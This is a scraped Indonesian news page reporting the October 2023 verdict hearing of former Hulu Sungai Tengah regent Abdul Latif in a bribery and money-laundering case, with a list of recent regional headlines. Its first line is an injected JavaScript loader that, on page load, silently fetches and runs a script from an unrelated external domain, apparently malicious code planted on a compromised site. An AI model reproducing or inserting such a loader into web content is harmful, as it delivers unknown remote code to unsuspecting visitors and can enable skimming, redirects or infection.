(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS! Terdakwa Suap dan Pencucian Uang Mantan Bupati HST Dengarkan Putusan


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Bupati Hulu Sungai Tengah H Abdul Latif menjalani sidang putusan kasus suap dan pencucian uang di Pengadilan Tipikor Banjarmasin, Rabu (11/10/2023) siang.

Sidang dibuka oleh ketua majelis hakim Jamser Simanjuntak bersama dua hakim anggota sekitar pukul 14.15 Wita.

“Putusan sebanyak 578 halaman,” ungkap ketua majelis hakim Jamser Simanjuntak saat membuka sidang, Rabu (11/10/2023) siang.

Baca juga: Penyidik Tetapkan Dua Tersangka Dugaan Korupsi Pembangunan Gedung BBPOM Banjarmasin

Abdul Latif yang saat ini masih berstatus terpidana dan ditahan di Lapas Sukamiskin Bandung nampak hadir dipersidangan secara online dengan didampingi tim penasehat hukumnya kantor OC Kaligis.

Latif terlihat mengenakan baju berwarna putih bergambar ‘Dewi Keadilan’ dan mengenakan peci warna hitam.

Latif juga sempat menjawab pertanyaan hakim mengenai kondisi kesehatannya yang saat ini berada di Lapas Sukamiskin Bandung. “Sehat yang mulia,” kata Abdul Latif.

Baca juga: PLN Ajak Generasi Z Pontianak Pahami Keselamatan Ketenagalistrikan

Mantan Bupati HST ini sebelumnya telah dituntut Jaksa Penuntut Umum (JPU) KPK dengan pidana 6 tahun penjara dan denda Rp300 juta subsider 6 bulan kurungan.

Penuntut Umum KPK juga menuntut Latif untuk membayar uang pengganti kerugian negara senilai Rp41,5 miliar atau jika tidak membayar hartanya dilelang atau diganti 6 tahun penjara.

Abdul Latif dinyatakan JPU bersalah melanggar Pasal 12B Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 8 Tahun 2020 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: BREAKING NEWS: Deklarasi Partai Gerindra Banjar Resmi Usulkan Gibran sebagai Cawapres Prabowo Subianto pada Pemilu 2024!

Kemudian Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang.

Nasibnya kini ada ditangan tiga majelis hakim Pengadilan Tipikor Banjarmasin.(Kanalkalimantan com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

2 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

3 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

3 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

3 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

7 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

9 jam ago

This website uses cookies.